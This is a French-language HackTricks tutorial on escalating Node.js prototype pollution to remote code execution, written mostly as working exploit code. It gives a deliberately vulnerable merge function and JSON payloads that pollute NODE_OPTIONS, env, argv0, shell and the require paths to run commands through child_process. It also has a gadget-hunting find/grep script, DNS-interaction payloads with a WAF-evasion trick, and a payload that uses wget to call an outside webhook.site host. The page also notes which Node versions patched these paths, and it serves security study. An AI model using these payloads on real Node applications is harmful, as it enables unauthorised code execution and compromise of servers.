Prototype Pollution to RCE

Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)!

Autres façons de soutenir HackTricks:

Code Vulnérable

Imaginez un vrai JS utilisant un code comme celui-ci :

const { execSync, fork } = require('child_process');

function isObject(obj) {
console.log(typeof obj);
return typeof obj === 'function' || typeof obj === 'object';
}

// Function vulnerable to prototype pollution
function merge(target, source) {
for (let key in source) {
if (isObject(target[key]) && isObject(source[key])) {
merge(target[key], source[key]);
} else {
target[key] = source[key];
}
}
return target;
}

function clone(target) {
return merge({}, target);
}

// Run prototype pollution with user input
// Check in the next sections what payload put here to execute arbitrary code
clone(USERINPUT);

// Spawn process, this will call the gadget that poputales env variables
// Create an a_file.js file in the current dir: `echo a=2 > a_file.js`
var proc = fork('a_file.js');

PP2RCE via variables d'environnement

PP2RCE signifie Prototype Pollution to RCE (Execution de Code à Distance).

Selon ce article, lorsqu'un processus est lancé avec une méthode de child_process (comme fork ou spawn ou autres), cela appelle la méthode normalizeSpawnArguments qui est un gadget de pollution de prototype pour créer de nouvelles variables d'environnement:

//See code in https://github.com/nodejs/node/blob/02aa8c22c26220e16616a88370d111c0229efe5e/lib/child_process.js#L638-L686

var env = options.env || process.env;
var envPairs = [];
[...]
let envKeys = [];
// Prototype values are intentionally included.
for (const key in env) {
ArrayPrototypePush(envKeys, key);
}
[...]
for (const key of envKeys) {
const value = env[key];
if (value !== undefined) {
ArrayPrototypePush(envPairs, `${key}=${value}`); // <-- Pollution
}
}

Vérifiez ce code, vous pouvez voir qu'il est possible de empoisonner envPairs simplement en polluant l'attribut .env.

Empoisonnement de __proto__

Notez que en raison de la façon dont la fonction normalizeSpawnArguments de la bibliothèque child_process de node fonctionne, lorsque quelque chose est appelé pour définir une nouvelle variable d'environnement pour le processus, il vous suffit de polluer n'importe quoi. Par exemple, si vous faites __proto__.avar="valuevar", le processus sera lancé avec une variable appelée avar avec la valeur valuevar.

Cependant, pour que la variable d'environnement soit la première, vous devez polluer l'attribut .env et (uniquement dans certaines méthodes) cette variable sera la première (permettant l'attaque).

C'est pourquoi NODE_OPTIONS n'est pas à l'intérieur de .env dans l'attaque suivante.

const { execSync, fork } = require('child_process');

// Manual Pollution
b = {}
b.__proto__.env = { "EVIL":"console.log(require('child_process').execSync('touch /tmp/pp2rce').toString())//"}
b.__proto__.NODE_OPTIONS = "--require /proc/self/environ"

// Trigger gadget
var proc = fork('./a_file.js');
// This should create the file /tmp/pp2rec


// Abusing the vulnerable code
USERINPUT = JSON.parse('{"__proto__": {"NODE_OPTIONS": "--require /proc/self/environ", "env": { "EVIL":"console.log(require(\\\"child_process\\\").execSync(\\\"touch /tmp/pp2rce\\\").toString())//"}}}')

clone(USERINPUT);

var proc = fork('a_file.js');
// This should create the file /tmp/pp2rec

Empoisonnement de constructor.prototype

const { execSync, fork } = require('child_process');

// Manual Pollution
b = {}
b.constructor.prototype.env = { "EVIL":"console.log(require('child_process').execSync('touch /tmp/pp2rce2').toString())//"}
b.constructor.prototype.NODE_OPTIONS = "--require /proc/self/environ"

proc = fork('a_file.js');
// This should create the file /tmp/pp2rec2


// Abusing the vulnerable code
USERINPUT = JSON.parse('{"constructor": {"prototype": {"NODE_OPTIONS": "--require /proc/self/environ", "env": { "EVIL":"console.log(require(\\\"child_process\\\").execSync(\\\"touch /tmp/pp2rce2\\\").toString())//"}}}}')

clone(USERINPUT);

var proc = fork('a_file.js');
// This should create the file /tmp/pp2rec2

PP2RCE via env vars + cmdline

Une charge utile similaire à la précédente avec quelques modifications a été proposée dans cet article. Les principales différences sont :

  • Au lieu de stocker la charge utile nodejs à l'intérieur du fichier /proc/self/environ, elle est stockée à l'intérieur de argv0 de /proc/self/cmdline.

  • Ensuite, au lieu de nécessiter via NODE_OPTIONS le fichier /proc/self/environ, il nécessite /proc/self/cmdline.

const { execSync, fork } = require('child_process');

// Manual Pollution
b = {}
b.__proto__.argv0 = "console.log(require('child_process').execSync('touch /tmp/pp2rce2').toString())//"
b.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"

// Trigger gadget
var proc = fork('./a_file.js');
// This should create the file /tmp/pp2rec2


// Abusing the vulnerable code
USERINPUT = JSON.parse('{"__proto__": {"NODE_OPTIONS": "--require /proc/self/cmdline", "argv0": "console.log(require(\\\"child_process\\\").execSync(\\\"touch /tmp/pp2rce2\\\").toString())//"}}')

clone(USERINPUT);

var proc = fork('a_file.js');
// This should create the file /tmp/pp2rec

Interaction DNS

En utilisant les charges utiles suivantes, il est possible d'exploiter la variable d'environnement NODE_OPTIONS que nous avons discutée précédemment et de détecter si cela a fonctionné avec une interaction DNS :

{
"__proto__": {
"argv0":"node",
"shell":"node",
"NODE_OPTIONS":"--inspect=id.oastify.com"
}
}

Ou, pour éviter que les WAF ne demandent le domaine :

{
"__proto__": {
"argv0":"node",
"shell":"node",
"NODE_OPTIONS":"--inspect=id\"\".oastify\"\".com"
}
}

Vulnérabilité PP2RCE fonctions child_process

Dans cette section, nous allons analyser chaque fonction de child_process pour exécuter du code et voir si nous pouvons utiliser une technique pour forcer cette fonction à exécuter du code :

exec exploitation
// environ trick - not working
// It's not possible to pollute the .env attr to create a first env var
// because options.env is null (not undefined)

// cmdline trick - working with small variation
// Working after kEmptyObject (fix)
const { exec } = require('child_process');
p = {}
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.argv0 = "console.log(require('child_process').execSync('touch /tmp/exec-cmdline').toString())//"
p.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"
var proc = exec('something');

// stdin trick - not working
// Not using stdin

// Windows
// Working after kEmptyObject (fix)
const { exec } = require('child_process');
p = {}
p.__proto__.shell = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
var proc = exec('something');

Forcing Spawn

Dans les exemples précédents, vous avez vu comment déclencher la fonctionnalité d'un gadget qui appelle spawn nécessite qu'une fonctionnalité soit présente (toutes les méthodes de child_process utilisées pour exécuter quelque chose l'appellent). Dans l'exemple précédent, cela faisait partie du code, mais que se passe-t-il si le code ne l'appelle pas.

Contrôler un chemin de fichier requis

Dans ce autre article, l'utilisateur peut contrôler le chemin du fichier où un require sera exécuté. Dans ce scénario, l'attaquant doit simplement trouver un fichier .js à l'intérieur du système qui exécutera une méthode spawn lors de son importation. Certains exemples de fichiers courants appelant une fonction spawn lors de leur importation sont :

  • /chemin/vers/npm/scripts/changelog.js

  • /opt/yarn-v1.22.19/preinstall.js

  • Trouvez plus de fichiers ci-dessous

Le script simple suivant recherchera les appels de child_process sans aucun remplissage (pour éviter d'afficher les appels à l'intérieur des fonctions):

find / -name "*.js" -type f -exec grep -l "child_process" {} \; 2>/dev/null | while read file_path; do
grep --with-filename -nE "^[a-zA-Z].*(exec\(|execFile\(|fork\(|spawn\(|execFileSync\(|execSync\(|spawnSync\()" "$file_path" | grep -v "require(" | grep -v "function " | grep -v "util.deprecate" | sed -E 's/.{255,}.*//'
done
# Note that this way of finding child_process executions just importing might not find valid scripts as functions called in the root containing child_process calls won't be found.
Fichiers intéressants trouvés par le script précédent
  • node_modules/buffer/bin/download-node-tests.js:17:cp.execSync('rm -rf node/*.js', { cwd: path.join(__dirname, '../test') })

  • node_modules/buffer/bin/test.js:10:var node = cp.spawn('npm', ['run', 'test-node'], { stdio: 'inherit' })

  • node_modules/npm/scripts/changelog.js:16:const log = execSync(git log --reverse --pretty='format:%h %H%d %s (%aN)%n%b%n---%n' ${branch}...).toString().split(/\n/)

  • node_modules/detect-libc/bin/detect-libc.js:18:process.exit(spawnSync(process.argv[2], process.argv.slice(3), spawnOptions).status);

  • node_modules/jest-expo/bin/jest.js:26:const result = childProcess.spawnSync('node', jestWithArgs, { stdio: 'inherit' });

  • node_modules/buffer/bin/download-node-tests.js:17:cp.execSync('rm -rf node/*.js', { cwd: path.join(__dirname, '../test') })

  • node_modules/buffer/bin/test.js:10:var node = cp.spawn('npm', ['run', 'test-node'], { stdio: 'inherit' })

  • node_modules/runtypes/scripts/format.js:13:const npmBinPath = execSync('npm bin').toString().trim();

  • node_modules/node-pty/scripts/publish.js:31:const result = cp.spawn('npm', args, { stdio: 'inherit' });

Définition du chemin du fichier requis via la pollution de prototype

La technique précédente nécessite que l'utilisateur contrôle le chemin du fichier qui va être requis. Mais ce n'est pas toujours vrai.

Cependant, si le code doit exécuter un require après la pollution de prototype, même si vous ne contrôlez pas le chemin qui va être requis, vous pouvez forcer un autre en abusant de la pollution de prototype. Ainsi, même si la ligne de code est require("./a_file.js") ou require("bytes"), elle requerra le package que vous avez pollué.

Par conséquent, si un require est exécuté après votre pollution de prototype et qu'il n'y a pas de fonction spawn, voici l'attaque :

  • Trouvez un fichier .js dans le système qui, lorsqu'il est requis, exécutera quelque chose en utilisant child_process

  • Si vous pouvez télécharger des fichiers sur la plateforme que vous attaquez, vous pouvez télécharger un fichier de ce type

  • Polluez les chemins pour forcer le chargement du fichier .js qui exécutera quelque chose avec child_process

  • Polluez l'environnement/cmdline pour exécuter du code arbitraire lorsqu'une fonction d'exécution child_process est appelée (voir les techniques initiales)

Require absolu

Si le require effectué est absolu (require("bytes")) et que le package ne contient pas de main dans le fichier package.json, vous pouvez polluer l'attribut main et faire en sorte que le require exécute un fichier différent.

// Create a file called malicious.js in /tmp
// Contents of malicious.js in the other tab

// Install package bytes (it doesn't have a main in package.json)
// npm install bytes

// Manual Pollution
b = {}
b.__proto__.main = "/tmp/malicious.js"

// Trigger gadget
var proc = require('bytes');
// This should execute the file /tmp/malicious.js
// The relative path doesn't even need to exist


// Abusing the vulnerable code
USERINPUT = JSON.parse('{"__proto__": {"main": "/tmp/malicious.js", "NODE_OPTIONS": "--require /proc/self/cmdline", "argv0": "console.log(require(\\\"child_process\\\").execSync(\\\"touch /tmp/pp2rce_absolute\\\").toString())//"}}')

clone(USERINPUT);

var proc = require('bytes');
// This should execute the file /tmp/malicious.js wich create the file /tmp/pp2rec

Require relatif - 1

Si un chemin relatif est chargé au lieu d'un chemin absolu, vous pouvez faire en sorte que node charge un chemin différent :

// Create a file called malicious.js in /tmp
// Contents of malicious.js in the other tab

// Manual Pollution
b = {}
b.__proto__.exports = { ".": "./malicious.js" }
b.__proto__["1"] = "/tmp"

// Trigger gadget
var proc = require('./relative_path.js');
// This should execute the file /tmp/malicious.js
// The relative path doesn't even need to exist


// Abusing the vulnerable code
USERINPUT = JSON.parse('{"__proto__": {"exports": {".": "./malicious.js"}, "1": "/tmp", "NODE_OPTIONS": "--require /proc/self/cmdline", "argv0": "console.log(require(\\\"child_process\\\").execSync(\\\"touch /tmp/pp2rce_exports_1\\\").toString())//"}}')

clone(USERINPUT);

var proc = require('./relative_path.js');
// This should execute the file /tmp/malicious.js wich create the file /tmp/pp2rec
const { fork } = require('child_process');
console.log("Hellooo from malicious");
fork('/path/to/anything');

Require relatif - 2

// Create a file called malicious.js in /tmp
// Contents of malicious.js in the other tab

// Manual Pollution
b = {}
b.__proto__.data = {}
b.__proto__.data.exports = { ".": "./malicious.js" }
b.__proto__.path = "/tmp"
b.__proto__.name = "./relative_path.js" //This needs to be the relative path that will be imported in the require

// Trigger gadget
var proc = require('./relative_path.js');
// This should execute the file /tmp/malicious.js
// The relative path doesn't even need to exist


// Abusing the vulnerable code
USERINPUT = JSON.parse('{"__proto__": {"data": {"exports": {".": "./malicious.js"}}, "path": "/tmp", "name": "./relative_path.js", "NODE_OPTIONS": "--require /proc/self/cmdline", "argv0": "console.log(require(\\\"child_process\\\").execSync(\\\"touch /tmp/pp2rce_exports_path\\\").toString())//"}}')

clone(USERINPUT);

var proc = require('./relative_path.js');
// This should execute the file /tmp/malicious.js wich create the file /tmp/pp2rec

```javascript const { fork } = require('child_process'); console.log("Hellooo from malicious"); fork('/path/to/anything'); ``` #### Relative require - 3

Similaire au précédent, celui-ci a été trouvé dans cette publication.

// Requiring /opt/yarn-v1.22.19/preinstall.js
Object.prototype["data"] = {
exports: {
".": "./preinstall.js"
},
name: './usage'
}
Object.prototype["path"] = '/opt/yarn-v1.22.19'
Object.prototype.shell = "node"
Object.prototype["npm_config_global"] = 1
Object.prototype.env = {
"NODE_DEBUG": "console.log(require('child_process').execSync('wget${IFS}https://webhook.site?q=2').toString());process.exit()//",
"NODE_OPTIONS": "--require=/proc/self/environ"
}

require('./usage.js')

Gadgets de la machine virtuelle

Dans le document https://arxiv.org/pdf/2207.11171.pdf, il est également indiqué que le contrôle de contextExtensions à partir de certaines méthodes de la bibliothèque vm pourrait être utilisé comme gadget. Cependant, comme les méthodes précédentes de child_process, cela a été corrigé dans les dernières versions.

Corrections et protections inattendues

Veuillez noter que la pollution de prototype fonctionne si l'attribut d'un objet qui est accédé est indéfini. Si dans le code cet attribut est défini avec une valeur, vous ne pourrez pas l'écraser.

En juin 2022, à partir de ce commit, la variable options au lieu de {} est un kEmptyObject. Ce qui empêche une pollution de prototype d'affecter les attributs de options pour obtenir une RCE. Au moins à partir de la version 18.4.0, cette protection a été implémentée, et donc les exploits spawn et spawnSync affectant les méthodes ne fonctionnent plus (si aucune options n'est utilisée!).

Dans ce commit, la pollution de prototype de contextExtensions de la bibliothèque vm a été également corrigée en définissant les options sur kEmptyObject au lieu de {}.

Autres Gadgets

Références

Apprenez le piratage AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)!

Autres façons de soutenir HackTricks:

Dernière mise à jour